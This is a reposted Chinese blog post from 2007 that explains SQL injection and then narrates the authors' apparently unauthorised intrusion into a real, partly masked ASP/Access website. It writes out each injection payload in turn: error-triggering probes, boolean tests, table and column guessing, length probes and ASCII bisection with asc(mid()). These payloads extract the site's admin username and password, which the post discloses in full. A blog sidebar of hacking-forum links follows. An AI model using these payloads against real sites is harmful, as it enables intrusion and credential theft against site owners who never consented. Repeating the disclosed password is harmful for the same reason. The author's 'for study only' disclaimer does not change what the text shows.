转载 sql注入原理和过程收藏

 记得前一个月左右,记得那是刚来中心不久,和kevin想学怎么进行sql注入。看了JHACKJ超级入侵教程中的sql入侵的视频,还去bbs.14023.com下载了流光、nbsi2.0、wed、wis,想模仿着进行,无奈一直没有成功。呵呵,可以说那个时候是水平不行,只会依葫芦画瓢,仅仅用用工具,不是很明白sql注入的原理。
    今天下午4点左右开始,一直到晚上8点,又和kevin一起,终于对一个网站实现的sql注入,获得了它的管理员用户名和密码,可惜一直没有找到管理员的后台登陆地址,用了nbsi2.0也没有找出来,可惜中^_^^_^^_^
    在这里先说说sql注入的原理,然后介绍我们的入侵过程。在此只是跟大家交流学习,请勿将其用做破坏行为,由此产生的后果自负。


一、sql注入原理
    程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    受影响的系统:对输入的参数不进行检查和过滤的系统。


二、sql注入过程

1.找到链接
我找的链接是:http://www.***.com/main_weblist.asp?key_city=1
其实,类似http://hostname/***.asp?id=*的网页都可能有sql漏洞。

2.测试
(1)在末尾加'
http://www.***.com/main_weblist.asp?key_city=1'
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'web_key=1 and web_city=1'' 中。
/main_weblist.asp,行129
-----------------------------------------------------------
该信息说明:后台数据库是access。
(2)在末尾加;
http://www.***.com/main_weblist.asp?key_city=1;
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/main_weblist.asp,行140
-----------------------------------------------------------
(3)在末尾加 and 1=2 和 and 1=1
前者返回信息:该栏目无内容,将返回上一页;
后者正常返回;

由此说明该网站一定存在sql注入漏洞,有很大把握可以拿到管理员的用户名和密码。

3.猜管理员帐号表
在末尾加上: and exists (select * from admin)
注意and前面有一个空格。
我们的意思是猜测他有个admin表段
呵呵,页面返回正常,我们猜对了。当然也可能错误返回,这时就要看猜测的本事了。

4.猜测管理员表表中的字段
我们再来猜他的管理员表中是否有一个ID段,
在末尾加上: and exists (select id from admin)
OK,页面返回正常,说明他的admin表中有个id的字段;
我们继续: and exists (select username from admin)
这里的意思是看看他的admin表中是否有username字段,
页面返回正常,说明在admin中有一个username字段;
我们继续猜他放密码的字段: and exists (select password from admin)
返回正常的页面,说明他的admin表中有个password字段。
好了,到此可以知道admin表中至少有如下三个字段:id,username,password,这各命名方式与普通程序员的命名方法一致。

5.猜测用户名和密码的长度
为了下面方便进行,首先猜他的管理员的id值:
 and exists (select id from admin where id=1)
意思是看看他的admin表中是否有一个id=1的值,
OK,返回了正常的页面,说明我们猜对了。
好了,接着猜ID为1的用户名长度:
 and exists (select id from admin where len(username)<6 and id=1)
这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
我们一个个来实验好了,直到:
 and exists (select id from admin where len(username)=5 and id=1)
返回了正常的页面,说明用户名的长度我们已经猜出了为5。
用同样的方法,我们猜出了密码的长度是10,要添加的语句是:
 and exists (select id from admin where len(password)<10 and id=1)
到此,用户名和密码的长度都已经猜出来了,下面要做的是猜出它们的每一位分别是多少。

6.猜测用户名
方法是,在后面加上:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<100)
其中,asc函数的功能是将字符转换成ASCII码,mid函数的功能是截取username字段值的字串,从第1位开始,截取的长度是1。
我们这里做的意思是,猜测他的用户名的第一个字的ascii码值小于100。
返回了正常页面,说明的确如我们所料,接着:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<50)
返回错误信息,说明:50<=第一个字的ascii码值<100。接下来,我们用折半查找的思想:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<75)
返回错误信息,继续,直到:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))=97)
返回正常页面,说明用户名的第一个字的ASCII码是97,查找ASCII表,知道它是a。
接下来我们猜测第二位:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,2,1))=100)
说明第二位的ASCII码是100,字符是d。
接下来我们猜测,很有可能用户名就是admin,因为它正好是五位。
为了证明我们的猜测,我们用如下方法测试:
 and 1=(select id from (select * from admin where id=1) where username='admin')
返回正常页面,太好了,我们猜对了,用户名就是admin。

7.猜测密码
接下来就是猜测密码了,方法和猜测用户名的一样,只能一位一位地试了,
这里就不一位一位列举了,还是用折半查找的思想,很快就能找到密码是SM8242825!
用以下语句验证一下:
 and 1=(select id from (select * from admin where id=1) where password='SM8242825!')
返回了正常页面!
好,到此为此我们已经找到了用户名和密码,分别是:admin SM8242825!。

8.猜测管理员入口地址
做了很多猜测,都未果,如下链接都不是登陆接口:
admin.asp,login.asp,admin-admin.asp,admin/login.asp等等
后来还用了nbsi2.0工具进行自动探测,也没有找到,这给我们留下了遗憾。
哪位朋友有好的工具或者方法,希望能相互交流。

 

发表于 @ 2007年09月27日 15:16:00|评论(loading...)

新一篇: 菜鸟SQL注入详解 | 旧一篇: SQL注入原理,值得一看!

用户操作
[即时聊天] [发私信] [加为好友]
lenhan12345
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
lenhan12345的公告
欢迎大家来到我的blog,希望和喜欢java的朋友共同探讨,提高! qq:23254924 E-mail:lenhan12345@sohu.com
文章分类
收藏
    经典blog推荐
    gzfqh的专栏 →底层代码研究(病毒及汇编)(RSS)
    java 3D 游戏编程(RSS)
    javaeye
    Java高手的blog
    oksonic博客
    兰芯草驿站(struts+hibernate+spring+ajax文章)
    听风观影(安全类)(RSS)
    张孝祥专栏(RSS)
    很牛的安全类BLOG
    得峰的专栏(破解及入侵)(RSS)
    无花果(病毒高手)
    最牛的网络安全BLOG圈子
    林信良(良葛格)的专栏
    爱上燕子,爱上春天(struts+hibernate+spring)
    牛宝童的BLOG
    邓立强的BOLG
    视频教程网址
    中国315安全网汇编视频教程
    中山大学汇编视频教程
    清华大学汇编语言视频教程
    推荐blog
    AJAXIDE(不错)
    EmilMatthew's Blog(算法学习)(RSS)
    eye_of_back的专栏(RSS)
    herongxin的专栏(Spring类)(RSS)
    咖啡.编程.思考(RSS)
    天火——Qutr的专栏(RSS)
    彭瑞刚的技术专栏(RSS)
    李冠楠(NO.1)(RSS)
    笨鸟先飞^_^的专栏(RSS)
    超强网络安全牛人
    跬步致远——Ai92(RSS)
    推荐网址
    Ajax中国
    AoGo汇编小站
    avi电影字幕下载地址
    Cn-linux交流论坛
    CVC电脑病毒论坛
    eclipse+myeclipse搭建JAVA开发环境
    fireworks网页设计
    hibernate入门练习
    itpub论坛
    IT英雄榜
    javaworld
    JAVA开源大全
    JAVA爱好者
    JAVA经典网址
    js精品源码
    NetBeans中国社区
    ORCEL网站
    SpringFramework中文论坛
    struts标签文档
    webdn(综合类)
    人人软件站(最全计算机教材下载)
    例程网(各类javaApi实例及模型架例子,超好~)
    国内最好的3DMAX网站
    天下网管理联盟技术学院(网络类经典)
    孙卫琴论坛
    小雨论坛(js&css&dom)
    底层编程实例
    数据库专区
    无忧脚本
    星期八的blog
    最好的在线学习网站
    永远的linux
    深度 Ghost XP 系统
    深度Ghost XP 系统下载
    第八阁破解爱好者论坛
    红联Linux论坛
    绿盟软件下载
    编程爱好者论坛
    编程王代码库
    网页特效
    美河学习在线网站
    蓝色理想
    虚拟机之家
    计算机类电子书下载
    赛迪网技术社区
    霏凡软件站
    高端JAVA培训
    网络安全类经典推荐
    315安全网
    51CTO组网建网频道
    AoGo汇编小站
    中国X黑客小组
    中国病毒公社
    华夏黑客联盟
    安全在经(经典工具下载)
    看雪软件安全论坛
    第八军团
    网络安全焦点
    罗云彬的编程乐园
    邪恶8进制
    陈十三哥blog
    黑基
    黑客X档案
    黑客技术吧!
    黑客榜中榜
    黑客防线
    黑客防线(主战)
    存档
    软件项目交易
    Csdn Blog version 3.1a
    Copyright © lenhan12345